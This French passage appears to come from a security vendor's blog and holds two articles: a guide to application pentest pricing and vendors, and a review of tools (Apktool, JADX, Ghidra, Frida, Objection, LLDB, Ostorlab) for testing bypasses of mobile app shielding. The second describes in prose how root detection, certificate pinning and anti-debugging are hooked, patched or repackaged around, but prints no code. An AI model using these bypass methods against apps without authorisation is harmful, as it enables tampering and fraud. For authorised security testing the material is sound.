Le coût augmente avec le nombre de parcours, de rôles et d'actifs connectés, ainsi qu'avec la difficulté d'accéder à l'application et de la solliciter. Les principaux facteurs sont :

Complexité des parcours : plus il y a de parcours, de points d'accès, de transitions d'état et de frontières de confiance distincts, plus il faut de tests.
Rôles utilisateur et tenants : chaque rôle ou tenant ajoute des frontières d'autorisation à tester.
Actifs connectés : les API, clients mobiles, dépôts de code source, services cloud et systèmes d'identité élargissent l'évaluation.
Authentification : SSO, MFA, liaison à l'appareil, jetons rotatifs et sessions courtes augmentent l'effort de mise en place.
Logique métier : les approbations, transactions, récupérations de compte et parcours en plusieurs étapes demandent une investigation contextuelle.
Validation humaine et rapports : la revue par des experts, les rapports formels, les restitutions et les attestations ajoutent du travail de livraison.
Retests : certains fournisseurs incluent la vérification des correctifs ; d'autres la facturent séparément.

Comment le type d'application influence-t-il le coût d'un pentest ?

Le type d'application change les outils, les spécialistes, les environnements de test et les preuves requises. Un devis doit nommer la classe d'actif au lieu de traiter toute cible comme une application générique.

Type d'évaluation	Travail supplémentaire qui change le prix	Compétence de spécialiste requise
Application web	Rôles, parcours, frontières entre tenants, logique métier, fonctions d'administration	Tests web et d'autorisation
API	Inventaire des points d'accès, schémas, relations entre objets, jetons, limites de débit, opérations asynchrones	Tests d'API et d'autorisation
Application mobile	Revue des APK/IPA, appareils physiques, instrumentation à l'exécution, contournement de l'épinglage de certificat, stockage local, API mobiles	Rétro-ingénierie Android/iOS et tests à l'exécution
Application connectée au cloud	IAM, stockage, fonctions serverless, files d'attente, secrets, configuration cloud	Sécurité du cloud et des identités
Application de bureau	Binaires natifs, privilèges locaux, IPC, canaux de mise à jour, confiance accordée au backend	Rétro-ingénierie et sécurité des systèmes d'exploitation
Application IA	Injection de prompt, retrieval, accès au modèle, outils, permissions des agents, fuite de données	Tests IA/ML et de sécurité applicative

Les évaluations de matériel, de firmware, d'IoT et de smart contracts sont tarifées séparément par des cabinets spécialisés, car elles nécessitent du matériel de laboratoire, le démontage d'appareils ou l'analyse d'attaques économiques. Elles sortent du périmètre d'un devis de pentest applicatif. Pour les outils mobiles, consultez nos meilleurs outils de pentest mobile pour 2026.

Quelle différence entre un pentest IA et un scan de vulnérabilités ?

Un scanner de vulnérabilités applique des contrôles prédéfinis. Un pentest IA planifie son étape suivante d'après ce que renvoie l'application et cherche à prouver l'impact. Une fonctionnalité d'IA ne transforme pas automatiquement un scanner en pentest.

Capacité	Scanner de vulnérabilités	Pentest IA ou autonome
Logique de test	Règles et heuristiques prédéfinies	Planification orientée objectif selon les réponses de la cible
Exploration des parcours	Généralement pilotée par un crawler	S'adapte à l'état de l'application, aux rôles et aux parcours en plusieurs étapes
Validation	Correspondance de signature ou de réponse pour chaque contrôle, parfois avec une preuve intégrée	Tente de reproduire l'impact en contexte, par exemple en lisant les données d'un autre utilisateur avec une seconde identité
Preuves	Détails de la vulnérabilité et traces du scan	Un journal d'exécution : ce qui a été observé, ce qui a été tenté ensuite, et la requête et la réponse qui ont apporté la preuve
Style de couverture	Large et reproductible	Adaptatif ; la profondeur dépend de la cible et des contrôles

Demandez à voir le journal d'exécution. Pour une analyse plus détaillée, lisez Quand un scanner IA devient-il un pentest IA ? et comment les preuves circulent dans les workflows de pentest IA.

Quels fournisseurs servent chaque segment du marché ?

Les fournisseurs ne testent pas tous la même couche de la pile. Les exemples ci-dessous sont représentatifs et ne constituent pas un classement. Les descriptions suivent le site public de chaque éditeur en septembre 2026.

Tests applicatifs IA et autonomes

Ostorlab propose des offres AI Pentest ponctuelles validées par l'exploitation et des formules continues couvrant des actifs mobiles, web et API connectés.
XBOW décrit des tests autonomes d'applications web et d'API ; il ne publie aucun prix, sa tarification dépendant de l'usage et du périmètre de chaque environnement. Voir notre comparatif Ostorlab et XBOW.

PTaaS combinant IA et humains

Cobalt décrit un « pentest piloté par des humains et propulsé par l'IA » livré sous la forme d'un Agentic PTaaS.
Synack associe Sara AI Pentesting au Synack Red Team, composé de chercheurs humains.
HackerOne propose H1 Agentic Pentest, qui associe des agents IA à des experts humains.

Vérifiez si un devis couvre un pentest à périmètre fixe, une mission avec un chercheur géré ou un abonnement plus large à une plateforme.

Spécialistes des applications mobiles

NowSecure se concentre sur le mobile, avec l'analyse des binaires et l'analyse à l'exécution sur appareils réels des applications iOS et Android, ainsi que des tests d'intrusion menés par des experts. Le périmètre mobile doit indiquer quels binaires, versions d'OS, appareils et API backend sont inclus.

Validation de l'infrastructure et des chemins d'attaque

Horizon3.ai NodeZero se concentre sur le pentest autonome interne, externe, des identités, du cloud et de Kubernetes, les tests d'applications web étant présentés comme une solution distincte. Vérifiez ce que comprend un devis avant de le comparer à une évaluation applicative.

Pour une vue plus large du marché, consultez les meilleures plateformes de pentest IA en 2026.

Qu'est-ce qui est normalement exclu d'un prix annoncé ?

Sauf mention contraire dans la proposition, vérifiez si le prix exclut :

Les API backend, les portails d'administration ou des environnements supplémentaires
Des rôles utilisateur, tenants ou comptes de test supplémentaires
Les binaires Android et iOS, le code source et les clients de bureau
La configuration cloud, l'infrastructure d'identité et les intégrations tierces
L'ingénierie sociale, le phishing, le déni de service ou les actions destructrices
Le travail de remédiation et l'assistance aux développeurs
Les vulnérabilités hors du périmètre d'actifs ou de sévérité convenu
Les retests au-delà de la fenêtre incluse

Les exclusions ne posent pas de problème en soi. Elles en posent un lorsque deux devis sont comparés comme s'ils incluaient les mêmes actifs, identités, preuves et retests.

Combien coûtent des scénarios réalistes de pentest applicatif ?

Les multiplicateurs de périmètre comptent plus que le prix d'entrée d'un fournisseur. Deux scénarios courants :

Application web SaaS avec une API et trois rôles

Devis manuel type : environ 8 000 $–25 000 $ en Amérique du Nord, 6 000 €–18 000 € en Europe de l'Ouest et 3 000 $–10 000 $ en APAC et en Amérique latine (tableau régional du guide pour les startups).
Spécialistes : un testeur web et un spécialiste des API ou des autorisations.
Éléments à fournir : parcours, inventaire des points d'accès, trois identités de test, frontières entre tenants, actions sensibles et données de test.
Multiplicateurs de périmètre : parcours d'approbation complexes, nombreux tenants, tâches asynchrones et portails d'administration distincts.
Preuves attendues : requêtes reproductibles, comparaisons d'autorisations entre les rôles, preuve d'impact et rapport de retest.

Un devis limité au crawling non authentifié n'est pas comparable à une évaluation de la logique métier tenant compte des rôles.

Applications iOS et Android avec épinglage de certificat et API partagée

Devis manuel type : généralement au-dessus de la fourchette d'une seule application, car deux binaires et une API partagée sont dans le périmètre ; considérez-le comme multi-surfaces.
Spécialistes : rétro-ingénierie mobile, instrumentation à l'exécution et tests d'autorisation d'API.
Éléments à fournir : les deux binaires, les versions d'OS prises en charge, le comportement de l'épinglage, le stockage local, les deep links et l'API partagée.
Multiplicateurs de périmètre : détection du root ou du jailbreak, liaison à l'appareil, MFA, rôles multiples et cycles de publication distincts.
Preuves attendues : observations sur le binaire et à l'exécution, requêtes d'API, preuve d'exploitabilité, versions affectées et recommandations de retest.

Un devis d'API limité au web ne peut pas être comparé à une évaluation complète des binaires et du backend.

Comment les acheteurs doivent-ils comparer les devis de pentest applicatif ?

Deux devis au même prix peuvent décrire des évaluations complètement différentes. Posez les dix mêmes questions à chaque fournisseur :

Quelles applications, API, clients mobiles, dépôts et environnements sont inclus ?
Combien de rôles et de tenants seront testés ?
Les tests de logique métier sont-ils inclus ?
Quelles vulnérabilités sont validées, et quelle preuve est fournie ?
Quelles fonctionnalités risquent de rester inaccessibles ?
Le travail est-il réalisé par des humains, des agents, des scanners ou une combinaison ?
Une revue humaine est-elle incluse ?
Comment les actions destructrices ou modifiant l'état sont-elles contrôlées ?
Les retests sont-ils inclus, et pour combien de temps ?
Le rapport peut-il servir à l'audit, au client ou au processus d'achat visés ?

Exigez ensuite les réponses par écrit : périmètre, exclusions, profondeur, identités, preuves, conditions de retest et calendrier.

Quels sont les coûts cachés d'un test d'intrusion ?

Le devis ne représente qu'une partie du coût. Les équipes internes préparent encore les environnements et les comptes de test, corrigent les échecs d'authentification, reproduisent et routent les vulnérabilités, corrigent les vulnérabilités et répondent aux questions des auditeurs.

Un test bon marché aux preuves faibles peut devenir coûteux au moment du tri. Un test coûteux fait aussi perdre de l'argent si des parcours clés restent inaccessibles.

Un pentest IA remplace-t-il un pentest manuel ?

Pas dans toutes les situations. Le pentest IA convient lorsque la fréquence, la répétabilité, la couverture du portefeuille et la validation à l'exécution comptent. Le test manuel reste précieux pour une logique métier inhabituelle, des protocoles spécialisés, une architecture inédite ou une assurance qui attend un testeur humain indépendant.

De nombreuses équipes les combinent :

Un scan continu pour la couverture de base
Des pentests IA après les changements importants
Des tests humains pour les applications critiques et les risques inhabituels
Une revue humaine lorsqu'un client, un auditeur ou un régulateur l'exige

Pour une vue comparative, lisez pentest autonome et test d'intrusion traditionnel.

Un pentest applicatif satisfera-t-il les exigences de conformité ?

Cela dépend de la norme et de qui accepte le rapport.

SOC 2 et ISO 27001 ne prescrivent ni produit ni prix de pentest spécifique. Dans l'ISO/IEC 27001:2022, les mesures de l'Annexe A concernées sont les mesures 8.8 (gestion des vulnérabilités techniques) et 8.29 (tests de sécurité en phase de développement et d'acceptation). Les preuves doivent satisfaire votre auditeur et vos clients. Voir comment obtenir un rapport de pentest prêt pour l'audit SOC 2.
L'exigence 11.4 de PCI DSS v4.0.1 impose des tests d'intrusion internes et externes au moins tous les 12 mois et après des changements importants. Vérifiez auprès de votre Qualified Security Assessor (QSA) si une évaluation assistée par l'IA y répond.

Avant d'acheter, vérifiez si le destinataire exige une mission menée par des humains, des certifications précises du fournisseur, une attestation signée, une méthodologie nommée, des preuves de retest ou une liste claire du périmètre testé et non testé.

Foire aux questions

Combien coûte un test d'intrusion applicatif en 2026 ?

Un pentest applicatif manuel coûte environ 3 000 $–18 000 $ pour une seule application web ou API et 18 000 $–50 000 $+ pour un périmètre multi-surfaces couvrant le web, les API, le mobile et le cloud. Les offres de pentest IA publiées vont de 499 $ à environ 8 000 $ par évaluation cadrée.

Combien coûte un test d'intrusion IA ?

Les offres de pentest IA publiées débutent à 499 $ (Ostorlab Core). Intruder situe les pentests IA à prix fixe entre 4 000 $ et 8 000 $, et XBOW ne publie aucun prix, sa tarification dépendant de l'usage et du périmètre de chaque environnement. De nombreux éditeurs ne tarifent qu'après cadrage, et les programmes entreprise continus fonctionnent généralement par abonnement ou sur mesure.

Combien coûte un Ostorlab AI Pentest ?

Ostorlab AI Pentest coûte 499 $ (Core), 1 999 $ (Advanced) ou 3 999 $ (Elite) ; Hyperscale est tarifé sur mesure. Chaque formule inclut un exploit fonctionnel pour chaque vulnérabilité confirmée par les agents IA, la prise en charge multi-actifs pour les actifs web, API et mobiles connectés, et une fenêtre de retest ; la validation humaine n'est pas incluse.

Combien de temps dure un test d'intrusion applicatif ?

Un test manuel d'application web dure généralement de 3 à 15 jours de testeur, selon la taille et la complexité, d'après les estimations d'Intruder. Ajoutez au temps de test celui du cadrage, de la préparation de l'environnement, du rapport et des retests.

À quelle fréquence faut-il réaliser un test d'intrusion applicatif ?

Au moins une fois par an et après des changements importants ; l'exigence 11.4 de PCI DSS v4.0.1 fixe ce minimum pour les environnements concernés. Les équipes qui publient souvent ajoutent des pentests IA entre les tests annuels afin que les nouvelles fonctionnalités soient couvertes avant la prochaine mission manuelle.

Quelles entreprises proposent des tests d'intrusion IA et autonomes ?

Ostorlab (évaluations d'actifs mobiles, web et API connectés) et XBOW (applications web et API) proposent des tests applicatifs autonomes. Cobalt, Synack et HackerOne combinent l'IA et des testeurs humains. Horizon3.ai NodeZero se concentre sur l'infrastructure, les identités et le cloud. Ce ne sont pas des substituts directs.

Qu'est-ce que le Pentest as a Service (PTaaS) ?

Le Pentest as a Service (PTaaS) fournit le test d'intrusion via une plateforme logicielle. Les équipes demandent des missions, suivent les vulnérabilités au fur et à mesure de leur signalement, collaborent avec les testeurs, transmettent les problèmes aux systèmes de ticketing et gèrent les retests en parallèle des rapports formels.

Les applications mobiles coûtent-elles plus cher à tester que les applications web ?

Généralement, oui. Un test mobile peut couvrir le binaire compilé (APK ou IPA), les API backend qu'il appelle, ou les deux ; indiquez donc explicitement dans le périmètre si les API sont incluses. Les protections côté client, comme la détection du root et l'épinglage de certificat, ajoutent du temps de mise en place par rapport à une application web standard.

Comment est tarifé le test d'intrusion d'API ?

Les tests d'API sont cadrés selon les opérations ou les routes, les schémas, les rôles, les frontières d'autorisation, l'authentification et la logique métier. Pour GraphQL, un seul point d'accès peut exposer de nombreuses opérations ; le nombre de points d'accès seul est donc trompeur. Partager une spécification OpenAPI ou GraphQL complète pendant le cadrage permet d'obtenir un devis plus précis.

Quelle différence entre une évaluation de vulnérabilités et un test d'intrusion ?

Une évaluation de vulnérabilités identifie et priorise largement les faiblesses. Un test d'intrusion examine si des faiblesses choisies peuvent être exploitées, et quel impact elles produisent, dans un périmètre autorisé.

Que retenir du coût d'un pentest applicatif ?

Ne choisissez pas un pentest sur le seul prix affiché. Assurez-vous que les devis couvrent les mêmes actifs, rôles, parcours, preuves et retests ; sinon, les chiffres ne sont pas comparables. Pour un programme plus large, comparez le coût annuel de la couverture de votre portefeuille réel, en tenant compte de la fréquence des versions et de la validation humaine.

Pour cadrer une évaluation de vos applications web, API et clients mobiles, consultez les offres et tarifs d'Ostorlab AI Pentest.

Les meilleurs outils pour tester le contournement du shielding des applications mobiles

2026-09-23T12:00:00+02:00

Résumé exécutif (TL;DR)

Tester si le shielding d’une application mobile peut être contourné demande des outils différents selon les étapes. Apktool décode, modifie et reconstruit des paquets Android pour les tests de repackaging ; JADX et Ghidra aident à localiser la logique de protection ; Frida, Objection et LLDB mettent à l’épreuve les contrôles de shielding et de RASP à l’exécution ; et Ostorlab automatise l’évaluation sur Android et iOS.

Le shielding peut détecter une attaque et pourtant ne pas protéger l’application. Dans l’évaluation de cinq applications bancaires par Ostorlab, une application a détecté qu’elle s’exécutait sur un appareil rooté, mais a quand même continué jusqu’à son écran de connexion. La protection était bien là. C’est la réaction qui posait problème.

Les tests doivent donc aller au-delà de la simple confirmation que la détection du root, l’anti-débogage ou l’épinglage de certificat existent. Les équipes doivent observer comment l’application réagit lorsque ces protections sont mises à l’épreuve, et si cette réaction peut être contournée.

Ce guide explique ce que chaque outil permet de vérifier, l’expertise qu’il exige et où s’arrêtent ses capacités. Il s’adresse aux testeurs de sécurité mobile et aux équipes AppSec qui doivent choisir entre un workflow manuel et une évaluation automatisée.

À propos de ce guide : ce guide est publié par Ostorlab, qui figure dans la comparaison. Il s’appuie sur la documentation officielle, des dépôts open source, les recommandations de l’OWASP et des recherches techniques publiées.

Qu’est-ce que le shielding des applications mobiles et le test du RASP ?

Le shielding des applications mobiles est un ensemble de protections ajoutées à une application Android ou iOS pour rendre l’analyse, la modification et l’interférence à l’exécution plus difficiles. Il peut inclure l’obfuscation du code, l’anti-falsification, les contrôles d’intégrité, l’anti-débogage, l’anti-instrumentation, la détection du root ou du jailbreak et l’épinglage de certificat.

Le Runtime Application Self-Protection (RASP) désigne plus précisément les protections qui surveillent l’application pendant son exécution. Lorsque le RASP détecte une condition suspecte, il peut afficher un avertissement, restreindre une action ou fermer l’application. Le RASP n’est donc qu’une composante de la couche de shielding plus large des applications mobiles.

Le test de contournement du shielding et du RASP vérifie si ces contrôles détectent les conditions d’attaque visées et si leur réaction peut être neutralisée ou évitée. Une protection n’est pas prouvée efficace du simple fait qu’elle est présente ou qu’elle produit une alerte. Le test doit aussi établir si l’application autorise encore le comportement que la protection devait empêcher.

Les outils de test du shielding des applications mobiles en un coup d’œil

Les outils ci-dessous sont gratuits et open source, mais aucun ne couvre à lui seul l’évaluation complète. Chacun prend en charge une partie précise du processus, de la modification de l’application et de la localisation de la logique de protection jusqu’à la mise à l’épreuve des contrôles à l’exécution et à la vérification du résultat.

Outil	Quand l’utiliser	Périmètre mobile	Travail requis	Contrainte principale
Apktool	Préparer des APK modifiés pour les tests de repackaging, de signature et d’anti-falsification.	APK Android	Inspecter le manifeste, les ressources ou le Smali ; effectuer une modification contrôlée ; reconstruire et re-signer l’APK.	Android uniquement ; les échecs de reconstruction ou de signature doivent être distingués de la réaction de shielding de l’application.
JADX	Trouver les contrôles de protection et remonter à leurs appelants dans le code DEX Android.	Bytecode DEX Android	Lire le code décompilé et identifier les décisions à tester à l’exécution.	La décompilation peut être incomplète ; le code natif nécessite un autre outil d’analyse.
Ghidra	Suivre la logique de protection native et identifier les emplacements de hook ou de patch.	Bibliothèques natives Android ; binaires iOS	Interpréter le désassemblage et vérifier les fonctions décompilées.	Le code packé ou chiffré peut nécessiter une extraction à l’exécution avant l’analyse.
Frida	Écrire des hooks personnalisés pour observer ou modifier à l’exécution les contrôles de shielding et de RASP.	Android et iOS	Obtenir l’accès au processus, identifier les fonctions et adapter les scripts.	L’anti-instrumentation peut bloquer Frida avant l’exécution d’un script.
Objection	Essayer des routines de contournement existantes pour les contrôles courants de root, de jailbreak et d’épinglage de certificat.	Android et iOS	Obtenir l’accès Frida, sélectionner les routines et vérifier la réaction.	Dépend de Frida ; les protections personnalisées peuvent nécessiter des hooks sur mesure.
LLDB	Mettre en pause l’exécution native pour suivre un contrôle ou inspecter un état qui évolue.	Code natif Android et iOS	Obtenir l’accès au débogueur et interpréter l’exécution, la mémoire et les registres.	Les permissions du système et les restrictions de signature peuvent empêcher l’attachement indépendamment du shielding.

Comment les outils open source s’intègrent dans un test de contournement du shielding

Le test open source du shielding combine plusieurs outils plutôt que de s’appuyer sur un seul scanner. Apktool permet d’inspecter, de modifier et de reconstruire des paquets Android. JADX et Ghidra aident les testeurs à localiser et à comprendre la logique de protection. Frida, Objection et LLDB sont utilisés à l’exécution pour mettre ces protections à l’épreuve et observer le résultat.

Le processus n’est pas toujours linéaire. Un test à l’exécution peut révéler un élément qui renvoie le testeur au code pour une analyse plus poussée.

Les outils open source combinent manuellement l’analyse du code, les tests à l’exécution et la vérification des résultats, alors qu’Ostorlab automatise la découverte des protections, les tentatives de contournement et la collecte des preuves.

Apktool : reconstruire des applications Android pour les tests de falsification

Apktool décode les paquets d’applications Android en une structure de type projet contenant le manifeste, les ressources et le code Smali. Il peut ensuite reconstruire le paquet une fois les modifications effectuées.

Rôle dans l’évaluation

Apktool est utile lorsqu’une évaluation de shielding nécessite de modifier et de repackager un APK. Un testeur peut effectuer une modification contrôlée du manifeste, des ressources ou du code Smali, reconstruire le paquet, puis vérifier si les protections d’intégrité, de signature ou d’anti-falsification détectent l’application modifiée.

Ce rôle diffère de celui de JADX. JADX présente le code DEX sous forme de code lisible proche de Java pour l’analyse, alors qu’Apktool préserve une structure de paquet qui peut être modifiée et reconstruite. L’OWASP documente Apktool comme un moyen de décoder le manifeste binaire, d’extraire les ressources, de désassembler les fichiers DEX en Smali et de repackager le résultat. (Voir le guide Apktool de l’OWASP)

Workflow Apktool illustratif pour un test de repackaging. Un APK reconstruit doit être signé et exécuté avant que le testeur puisse déterminer si le shielding a détecté la modification.

Ce dont le testeur a besoin

Le testeur doit décider quoi modifier, éditer le fichier de manifeste, de ressource ou Smali concerné, reconstruire l’APK et le signer avant l’installation. Le résultat doit consigner l’endroit où un éventuel échec s’est produit : pendant le décodage, la reconstruction, la signature, l’installation ou après le lancement de l’application.

Limites

Apktool est limité aux paquets Android et ne teste pas à lui seul les protections à l’exécution. Il produit un APK non signé ; la signature est donc une étape distincte. Une application reconstruite qui ne s’installe pas ou ne se lance pas ne prouve pas automatiquement que le shielding a détecté la modification ; la cause peut aussi être un build invalide, un problème de signature ou une incompatibilité de paquet. Apktool indique également que certains APK créés avec des outils de build OEM modifiés ne peuvent pas être décodés ni reconstruits. FAQ Apktool

Lorsque l’objectif est de suivre la logique de protection Android de plus haut niveau avant de décider quoi modifier, JADX offre une vue plus lisible.

JADX : analyser la logique de protection Android

JADX transforme le bytecode DEX Android en code lisible proche de Java. Les testeurs peuvent rechercher dans un APK, passer d’une méthode à l’autre et suivre les références sans exécuter l’application.

Rôle dans l’évaluation

JADX aide à localiser les contrôles de root, la logique d’anti-débogage, les contrôles d’intégrité et le code qui décide de la réaction de l’application.

La réaction peut être gérée ailleurs que dans le contrôle d’origine. Une méthode peut détecter le root, tandis qu’une autre décide d’afficher un avertissement, de fermer l’application ou de restreindre une fonctionnalité. Suivre ces références aide le testeur à identifier le point de décision à examiner à l’exécution avec Frida ou un débogueur.

Vue illustrative de la façon dont JADX relie un contrôle de protection au code qui agit sur son résultat.

Ce dont le testeur a besoin

Utiliser JADX demande de connaître le développement Android et la rétro-ingénierie, surtout lorsque les noms de classes et le flux de contrôle ont été obfusqués.

La sortie décompilée est une interprétation du bytecode, et non le code source d’origine de l’application. JADX peut renommer ou intégrer en ligne des classes et des méthodes ; les identifiants affichés dans l’interface peuvent donc ne pas correspondre à ceux rencontrés à l’exécution. Une sortie douteuse doit être vérifiée par rapport au code Smali sous-jacent ou au graphe de flux de contrôle. Conseils de dépannage de JADX

Limites

JADX est un outil d’analyse Android, pas une solution complète de contournement. Son débogueur Smali nécessite une application débogable ou un appareil ou émulateur rooté. La logique de protection contenue dans des bibliothèques natives, chiffrée jusqu’au lancement ou générée à l’exécution nécessite elle aussi d’autres outils.

Lorsque la logique pertinente passe du bytecode Android à une bibliothèque native, Ghidra peut poursuivre l’investigation.

Ghidra : analyser le code de protection natif

Ghidra analyse le code natif compilé, notamment les bibliothèques Android .so ainsi que les exécutables et frameworks iOS.

Rôle dans l’évaluation

Le désassembleur, le décompilateur, la recherche de chaînes et les graphes de fonctions de Ghidra aident les testeurs à reconstituer le fonctionnement du code de protection natif. Sur Android, il peut poursuivre l’analyse lorsque JADX atteint un appel vers une bibliothèque native sans pouvoir montrer ce qui s’y passe.

Même lorsque les noms de fonctions ont été supprimés, les chaînes, les constantes et les références entre fonctions peuvent révéler un contrôle de protection probable, sa branche de décision et la réaction de l’application qui en résulte. Le guide Ghidra de l’OWASP explique comment ces vues fonctionnent ensemble lors de la revue d’un binaire.

Vue illustrative du contrôle natif, de la branche de décision et de la réaction qui peuvent guider les tests à l’exécution.

Ce dont le testeur a besoin

Ghidra demande de meilleures compétences de rétro-ingénierie native que JADX. Le testeur peut avoir à corriger des signatures de fonctions, comparer la sortie décompilée avec l’assembleur et comprendre comment les valeurs circulent entre les registres et la mémoire.

L’objectif habituel est d’identifier un contrôle ou un point de décision probable pour les tests à l’exécution. Le trouver dans Ghidra ne prouve pas qu’il peut être contourné.

Limites

Le code packé ou chiffré peut rester caché jusqu’à l’exécution de l’application. Le débogueur de Ghidra peut relier un processus en cours d’exécution au binaire importé et inspecter la mémoire à l’exécution, mais le testeur doit d’abord obtenir l’accès au débogage et localiser le code pertinent.

Tout contournement présumé doit encore être reproduit pendant que l’application s’exécute. Frida est couramment utilisé pour cette partie de l’évaluation.

Frida : instrumentation personnalisée à l’exécution

Frida injecte du JavaScript dans des processus Android et iOS. Il permet aux testeurs d’intercepter les appels de fonctions, d’inspecter leurs entrées et sorties et de modifier le comportement de l’application pendant son exécution.

Rôle dans l’évaluation

Frida sert à mettre à l’épreuve les contrôles de protection et le code qui y réagit. Il permet de tester si le comportement d’une protection peut être modifié même lorsque la détection initiale fonctionne.

Dans l’exemple OWASP Android UnCrackable L1, l’application détecte le root et affiche un avertissement avant de se fermer. Un hook Frida modifie la fonction chargée de fermer l’application. Le contrôle du root s’exécute toujours, mais l’application n’applique plus la réaction prévue.

Reconstitution illustrative de l’exemple OWASP UnCrackable L1 : la détection du root s’exécute toujours, mais le hook Frida empêche la réaction de sortie de l’application.

Ce dont le testeur a besoin

Le testeur doit identifier les fonctions pertinentes, écrire ou adapter des hooks JavaScript et vérifier que le comportement visé a réellement changé. Les protections personnalisées peuvent nécessiter une rétro-ingénierie supplémentaire pour comprendre comment leurs contrôles et leurs réactions s’articulent.

L’environnement de test compte aussi. Les tests Android utilisent couramment un appareil rooté, bien que Frida Gadget puisse être intégré dans une application repackagée. Sur iOS, un appareil jailbreaké offre un accès plus large, tandis que les tests sur un appareil non jailbreaké se limitent aux applications débogables.

Limites

Le shielding ou le RASP peut détecter ou bloquer Frida avant le début du test prévu. Dans l’évaluation de cinq applications bancaires par Ostorlab, une application s’est terminée pendant l’injection, avant que le script Frida produise son premier message de log. Dans ce cas, établir une session d’instrumentation fonctionnelle devient une partie distincte de l’investigation.

Pour les techniques de contournement courantes, Objection offre un point de départ plus rapide en regroupant des routines Frida existantes dans des commandes prêtes à l’emploi.

Objection : des fonctions de contournement prêtes à l’emploi

Objection s’exécute au-dessus de Frida et regroupe des techniques courantes de test mobile dans une console interactive.

Rôle dans l’évaluation

Objection inclut des commandes pour tenter de contourner les contrôles connus de root et de jailbreak, désactiver les implémentations courantes d’épinglage de certificat, inspecter les classes chargées et surveiller les appels de méthodes. Les testeurs peuvent ainsi essayer des techniques éprouvées avant d’écrire un script Frida personnalisé.

Les contrôles qui s’exécutent au démarrage peuvent devoir être atteints avant le lancement complet de l’application. Objection prend en charge l’instrumentation précoce, qui permet de charger des commandes ou des scripts Frida personnalisés à la reprise de l’application.

Exemple illustratif d’Objection chargeant une routine avant l’exécution des contrôles de démarrage. Le comportement résultant de l’application doit encore être vérifié.

Ce dont le testeur a besoin

Le testeur doit confirmer ce que chaque commande a modifié et si la protection évaluée a réellement été atteinte. Une commande qui se termine avec succès montre seulement que la routine s’est exécutée. Elle n’établit pas que la protection a été contournée.

Objection peut aussi patcher une application Android avec Frida Gadget. Comme cela reconstruit et re-signe l’APK, le testeur doit déterminer si un éventuel échec provient de la tentative de contournement ou d’un contrôle d’intégrité ou de signature.

Limites

Objection fonctionne mieux lorsque ses routines existantes correspondent à la protection utilisée par l’application. Il devient moins utile face à une logique de protection personnalisée ou lorsque l’application bloque la session Frida sous-jacente.

Dans ces cas, le testeur a généralement besoin d’une analyse de code et d’un script Frida sur mesure. Si l’investigation exige de suivre l’exécution native instruction par instruction, LLDB offre une vue de plus bas niveau.

LLDB : examiner les contrôles de protection avec un débogueur

LLDB permet aux testeurs de mettre en pause le code natif, de le parcourir instruction par instruction et d’inspecter les registres, la mémoire et les valeurs de retour. C’est le débogueur par défaut dans Xcode, également utilisé pour le débogage natif Android.

Rôle dans l’évaluation

Un testeur peut placer un point d’arrêt sur un contrôle de protection suspecté, observer la valeur qu’il renvoie et suivre la réaction de l’application. LLDB peut aussi modifier l’état du processus lors d’un test contrôlé.

Ses watchpoints sont utiles lorsque le testeur sait où est stocké le résultat d’une protection mais ne sait pas encore quelle fonction le met à jour.

Vue illustrative de LLDB examinant une décision de protection pendant l’exécution du code natif.

Ce dont le testeur a besoin

Les builds de production contiennent souvent peu de symboles utiles. Les testeurs peuvent devoir reporter des adresses et d’autres résultats depuis Ghidra, puis tenir compte de la façon dont le binaire est mappé en mémoire. Cela demande de comprendre l’assembleur, les conventions d’appel, les registres et le flux d’exécution natif. Les recommandations de l’OWASP sur le débogage iOS traitent de ces contraintes dans les builds de production.

L’accès à l’appareil détermine aussi ce que LLDB peut atteindre. Sur un appareil Android non rooté, Android Studio ne peut s’attacher qu’à des processus débogables. LLDB traite la couche native plutôt que le code Java ou Kotlin. Sur iOS, une application de production peut exiger un appareil adapté et un build re-signé ou autrement débogable.

Limites

L’échec de l’attachement de LLDB ne signifie pas automatiquement que le shielding a arrêté le débogueur. Les permissions du système d’exploitation, les exigences de signature ou les entitlements de l’application peuvent empêcher l’attachement avant que la protection soit atteinte.

Le testeur doit distinguer ces échecs de configuration des cas où l’application elle-même détecte ou bloque clairement le débogage. Comme pour les autres outils d’exécution, connecter le débogueur avec succès n’est que le début ; la preuve finale doit montrer comment la protection visée s’est comportée pendant le test.

Ostorlab : automatiser le test du shielding des applications mobiles

Le Mobile Shielding Scan d’Ostorlab réunit la découverte des protections, les tentatives de contournement et la vérification dans une seule évaluation pour Android et iOS. Il gère l’environnement de test et utilise des agents IA pour étudier comment l’application réagit lorsque ses protections sont mises à l’épreuve.

Ce qu’Ostorlab automatise

Le workflow d’évaluation comporte quatre étapes :

Identifier les protections. Le scan examine l’application à la recherche de détection du root et du jailbreak, de contrôles d’intégrité, d’anti-débogage, d’anti-instrumentation, d’épinglage de certificat et d’obfuscation du code ou des chaînes.
Atteindre les parcours protégés. Il exécute l’application sur de vrais appareils et navigue dans ses écrans pour atteindre les points où les protections s’activent. C’est important lorsqu’un contrôle ne s’exécute qu’après la connexion ou à l’ouverture d’une fonctionnalité sensible.
Tenter des contournements et suivre la réaction. Selon la protection, les tentatives peuvent faire appel à l’instrumentation à l’exécution, au repackaging, à la re-signature, à la dissimulation des indicateurs de root ou à la modification de la logique de protection. Les agents inspectent l’interface et les logs, puis utilisent les avertissements, les plantages, les requêtes bloquées et les autres réactions pour orienter la suite de l’investigation.
Consigner ce qui s’est passé. Les résultats distinguent les protections qui ont tenu pendant les attaques tentées de celles qui étaient absentes, inactives ou contournées. Les contournements réussis sont accompagnés de preuves et des étapes pour les reproduire.

L’évaluation suit chaque étape jusqu’à la validation finale, la collecte de preuves et le rapport. Source : évaluation du shielding mobile publiée par Ostorlab.

Ce que vous fournissez : un APK, un AAB ou un IPA, ou une application sélectionnée via Google Play, l’App Store ou TestFlight. Après avoir choisi le profil Mobile Shielding Scan, vous sélectionnez les Cybermodels d’Ostorlab ou apportez votre propre clé de fournisseur d’IA pris en charge. Les Cybermodels proposent différents niveaux d’effort d’investigation. Vous pouvez aussi fournir des identifiants de test et des instructions de navigation pour que le scan atteigne les écrans authentifiés et les parcours pertinents. Guide de configuration du scan

À quoi ressemblent les résultats

Le tableau de bord des résultats fournit une vue d’ensemble du durcissement, des notes par catégorie et des informations de couverture, ainsi que chaque contrôle vérifié. Pour une équipe AppSec qui étudie un contournement, le détail utile est la preuve qui explique comment une protection donnée s’est comportée.

La vue d’ensemble des résultats sépare les lacunes de durcissement ouvertes des protections identifiées dans le build évalué.

